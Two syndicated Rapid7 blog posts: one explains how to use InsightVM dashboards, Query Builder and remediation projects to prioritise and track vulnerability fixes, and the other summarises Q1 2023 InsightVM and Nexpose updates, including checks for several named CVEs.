Remember: Use Sites and Agents to obtain asset and vulnerability data.  Use DAGs and Tags to organize the data.

Console reports are run from the Reporting link  in the left-hand menu of the InsightVM console. There are two console reports that I recommend to customers. The first is called Top Remediation w/ details.

Using InsightVM Remediation Projects To Ensure Accountability

Top Remediation w/ details reports include a variety of actionable information, such as:

Real Risk Prioritization: Real Risk is great because it factors in CVSSv2 base metrics, potential malware kits and exploit kits, and the publish date (aka how long the vulnerability has been exposed to hackers).

Using InsightVM Remediation Projects To Ensure Accountability

The Risk score value is not the important metric, but instead, how that number compares to the other risk score numbers in the report. Prioritizing the biggest risk score first for maximum impact is a really good way to prioritize.

Solution Driven Remediation: Remediations, also known as Solutions, are the second primary reason to use this report. Solutions are usually cumulative and allow many vulnerabilities to be remediated with a single solution. The Top Remediation report only shows solutions, and when combined with risk, it enables you to see the maximum impact solutions, that will have the most significant impact on reducing risk in your environment.

Ability to change the total number of solutions: The number of solutions can be changed using the reports Advanced Options, so the report is not so intimidating. 25 Solutions is very intimidating/overwhelming, but 5 or 10 solutions are much more consumable by the remediation team.

Details show the Solution and the Assets affected: Details, being the last attribute, allows you to see the solutions for each of the Top Remediations and the assets affected.

The second console-driven report type I like to call out is called a SQL Query Export report. These reports allow customers to use the SQL Query data model to create custom CSV reports that meet their needs. Rapid7 maintains a repository of over 100 example queries on Github.

Both of these reports are highly impactful, however, there is one fundamental question I always ask before recommending them:

Is the security team performing the remediation, or will the reports be sent to another team?

If the security team is responsible for remediation, these console-driven reports are amazing because of self-accountability. However, if reports are going to another team, then one of the cloud-driven reports, aka Remediation Projects, are a better fit. Why? Remediation Projects provide the built-in accountability necessary to make progress. The key word is: Accountability

Accountability is the number one reason I recommend using Remediation Projects over the Top Remediation or SQL Query Export reports. If you generate a Top Remediation report and send it over to say, Bob, Bob may say ‘thanks’, walk around the corner, and throw it in the trash. A month goes by, and you ask, ‘so Bob, how are things going? I’m not seeing much progress’, to which Bob might answer, “prove it”.

If this sounds familiar, that’s because I hear it from many customers I work with that send reports to other teams. With PDF-based, it can be very hard to “prove it”—and then nothing ever gets done.

This is where remediation projects come in. With Remediation Projects, you can track whenever a solution is resolved, and the number cannot be manually manipulated. This means the only way to increase the  ‘solutions resolved’ number is to actually fix the vulnerabilities and validate them with either a scan or an agent assessment. Now when Bob responds with ‘prove it’ you can simply reply with ‘sure, let’s loop in your manager’.

I know this sounds harsh, but it’s a reality many security practitioners have to work with daily.

Built-in accountability makes remediation projects the number one choice for businesses that send reports to other teams for remediation.
So, how do you create the best possible Remediaiton Projects? I usually recommend creating projects by using Dashboards. My personal favorite Dashboard is the Threat Feed Dashboard. This Dashboard can be found by clicking on “See more in the R7 Library”

Using InsightVM Remediation Projects To Ensure Accountability

Then search for Threat, and Add the ‘Threat Feed Dashboard’.

Using InsightVM Remediation Projects To Ensure Accountability

Once this Dashboard comes up, there are three cards that I like to focus on:

Using InsightVM Remediation Projects To Ensure Accountability

First, let’s talk about the ‘Most Common Actively Targeted Vulnerabilities card. This card is driven by Project Heisenberg, which has deployed over 150 honeypots worldwide across five continents.

Using InsightVM Remediation Projects To Ensure Accountability
From: https://www.rapid7.com/blog/post/2017/06/13/live-threat-driven-prioritization/

Prioritization utilizes CVSS, or the Common Vulnerability Scoring System. We also have Real Risk, which enhances CVSS prioritization using additional metrics (exploits, malware, publish age). Lastly, Threat feed, in my opinion, is the next level of Prioritization and should be prioritized highly within your vulnerability remediation program.

How to use Dashboard Cards to create team-based or location-based (scoped) Remediation Projects

Before we dive any further into the Most Common Actively Targeted Vulnerabilities card, I first recommend clicking on the Query Builder. The query builder link can be found in the upper right of the page:

Using InsightVM Remediation Projects To Ensure Accountability

Query Builder is a way to see all of your data, and create filters for that data and save those filters in the form of queries. If you have been following along, then we should already have some DAGs created within the console for data organization. We can use one of those DAG’s to create a filter in Query Builder. For example we can Add a filter for “asset.groups IN” and select one of your asset groups, in my example, I am using Windows Devices:

Using InsightVM Remediation Projects To Ensure Accountability

On my test console, this filters only Windows devices, and I can now Save that query so I can use it to scope my Dashboards and Projects based on the Windows Team.

Using InsightVM Remediation Projects To Ensure Accountability

Once it is saved, hit the X in the upper right corner to exit out of Query Builder.

Now that we have a Saved Query, we can Load that query into our Threat Feed Dashboard by clicking on ‘Load Dashboard Query’:

Using InsightVM Remediation Projects To Ensure Accountability

Once the query is loaded, our Threat Feed Dashboard will now only show assets defined by the Windows Devices query, which is scoped by the Windows Devices DAG within the Console.

This can be helpful if you want to create a custom team-based Dashboard for each team.

Next, if we click on the ‘<Expand Card>’ option within the Most Common Actively Targeted Vulnerability card we can see that the card is also scoped with our Dashboard query. We can then select All of the solutions (Or just the top 10 sorted by risk) and click on ‘Create a Static Remediation Project’ to use the scoped threat feed dashboard card to create a static project. For more information on reating a remediation project, click here.

Using InsightVM Remediation Projects To Ensure Accountability

Lastly, I like to focus on the following two cards with or without a query loaded into the Dashboard:

Using InsightVM Remediation Projects To Ensure Accountability

The above screenshot is lab data by the way, hopefully this doesn’t look familiar. The Most Common Actively Targeted card is amazing and should be prioritized, but I also really like this card as it focuses on Exploitable vulnerabilities by Severity.

Based on the card labeled ‘Exploitable Assets by Skill Level’, we can see in my test environment that 72% of exploitable assets can be exploited by a novice. This should be a very scary number, and we should prioritize reducing this number as quickly as we can.

If we look at the ‘Exploitable Vulnerability Discovery Date by Severity’ card, we can see how long we have known about exploitable vulnerabilities in our environment. The Discovery date is the same as the find date in our own personal environments. Based on the example above, we have over 35,000 critical exploitable vulnerabilities that we have known about for over 90 days and have not fixed. This environment is all test data, but if your environment looks similar this should be a very scary thing to be seeing.

For example, as security practitioners, we should ask the fundamental question, ‘What if I get breached?’. One answer might be to determine the vulnerability that caused the breach. Another might be, how long have we known about the vulnerability and not fixed it? If the answer to that second statement is less than 60 days, hopefully, you can already start thinking about the many excuses we could use; however, if it’s over 90 days, the excuses start to get pretty difficult to come up with.

To prevent not only a breach but also to prevent being in a situation where you need to explain why the breach happened on a vulnerability that has been known about for over 90 days, I highly recommend using this card as a source of data for additional Remediation Projects.

Conclusion

To summarize our journey: We created some sites to bring in vulnerability data into our console. We then organized that data using Dynamic Asset Groups (DAGs). We then used those DAGs to scope query’s (in Query Builder) so we could scope Dashboards. With the scoped dashboard, we get scoped cards which we used to create Projects.

With the Query Builder we get organization. Combining the query with the Threat Feed Dashboard, we get Organized Prioritization. If we then use this data to create Projects we get Organized Prioritization with Accountability. This is a perfect combo to get some work done in reducing vulnerabilities using Reporting.

Remember that the number one reason to use projects is Accountability.

To learn more about InsightVM remediation capabilities, check out the following blog posts:

InsightVM Release Update: Let’s Focus on Remediation for Just a Minute

Decentralize Remediation Efforts to Gain More Efficiency with InsightVM

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

What’s New in InsightVM and Nexpose: Q1 2023 in Review

Post Syndicated from Roshnee Mistry Shah original https://blog.rapid7.com/2023/03/31/whats-new-in-insightvm-and-nexpose-q1-2023-in-review/

What’s New in InsightVM and Nexpose: Q1 2023 in Review

In Q1, our team continued to focus on driving better customer outcomes with InsightVM and Nexpose by further improving efficiency and performance. While many of these updates are under the hood, you may have started to notice faster vulnerability checks available for the recent ETRs or an upgraded user interface for the console Admin page. Let’s take a look at some of the key updates in InsightVM and Nexpose from Q1.

[InsightVM and Nexpose] View expiration date for Scan Assistant digital certificates

Scan Assistant, a lightweight service deployed on the asset, leverages the Scan Engine and digital certificates to securely deliver the core benefits of authenticated scanning without the need to manage traditional account-based credentials.

Customers can now easily determine the validity of a Scan Assistant digital certificate by viewing the Expiration Date on the Shared Scan Credential Configuration page.

What’s New in InsightVM and Nexpose: Q1 2023 in Review

[InsightVM and Nexpose] A new look for the Console Administration page

We updated the user interface (UI) of the Console Administration page to facilitate a more intuitive and consistent user experience across InsightVM and the Insight Platform. You can even switch between light mode and dark mode for this page. This update is part of our ongoing  Security Console experience transformation to enhance its usability and workflow—stay tuned for more updates!

What’s New in InsightVM and Nexpose: Q1 2023 in Review

[InsightVM and Nexpose] Checks for notable vulnerabilities

Rapid7’s Emergent Threat Response (ETR) program flagged multiple CVEs this quarter. InsightVM and Nexpose customers can assess their exposure to many of these CVEs with vulnerability checks, including:

  • Oracle E-Business Suite CVE-2022-21587: Added to the CISA Known Exploited Vulnerabilities (KEV) catalog, this vulnerability affected a collection of Oracle enterprise applications and can lead to unauthenticated remote code execution. Part of our recurring coverage, learn more about the vulnerability and our response.
  • VMware ESXi Servers CVE-2021-21974: VMware ESXi is used by enterprises to deploy and serve virtual computers. VMware ESXi servers worldwide were targeted by a ransomware that leveraged CVE-2021-21974. Part of our recurring coverage, learn more about the vulnerability and our response.
  • ManageEngine CVE-2022-47966: ManageEngine offers a variety of enterprise IT management tools to manage IT operations. At least 24 on-premise ManageEngine products were impacted from the exploitation of CVE-2022-47966, a pre-authentication remote code execution (RCE) vulnerability. Learn more about the vulnerability and our response.
  • Control Web Panel CVE-2022-44877: Control Web Panel is a popular free interface for managing web servers. In early January, security researcher Numan Türle published a proof-of-concept exploit for CVE-2022-44877, an unauthenticated remote code execution vulnerability in Control Web Panel (CWP, formerly known as CentOS Web Panel).  Learn more about the vulnerability and our response.
  • GoAnywhere MFT CVE-2023-0669: Fortra’s GoAnywhere MFT offers managed file transfer solutions for enterprises. CVE-2023-0669, an actively exploited zero-day vulnerability affected the on-premise instances of Fortra’s GoAnywhere MFT. Learn more about the vulnerability and our response.
  • Jira Service Management Products CVE-2023-22501: Atlassian’s Jira Service Management Server and Data Center offerings were impacted by CVE-2023-22501, a critical broken authentication vulnerability that  allows an attacker to impersonate another user and gain access to a Jira Service Management instance under certain circumstances. Learn more about the vulnerability and our response.
  • ZK Framework CVE-2022-36537: The vulnerability in ZK Framework, an open-source Java framework for creating web applications, was actively exploited due to its use in ConnectWise R1Soft Server Backup Manager, and allowed remote code execution and the installation of malicious drivers that function as backdoors. Learn more about the vulnerability and our response.

Want to know how you can refine your existing vulnerability management practices and use InsightVM to improve your readiness for the next emergent threat? Join our upcoming webinar:

Responding to Emergent Threats with InsightVM

Up Next for InsightVM | Custom Policies with Agent-Based Policy Assessment

Guidelines from Center for Internet Security (CIS) and Security Technical Implementation Guides (STIG) are widely used industry benchmarks for configuration assessment. However, a benchmark or guideline as-is may not meet the unique needs of your business. Very soon (next quarter soon), you can start using Agent-Based Policy for custom policy assessment.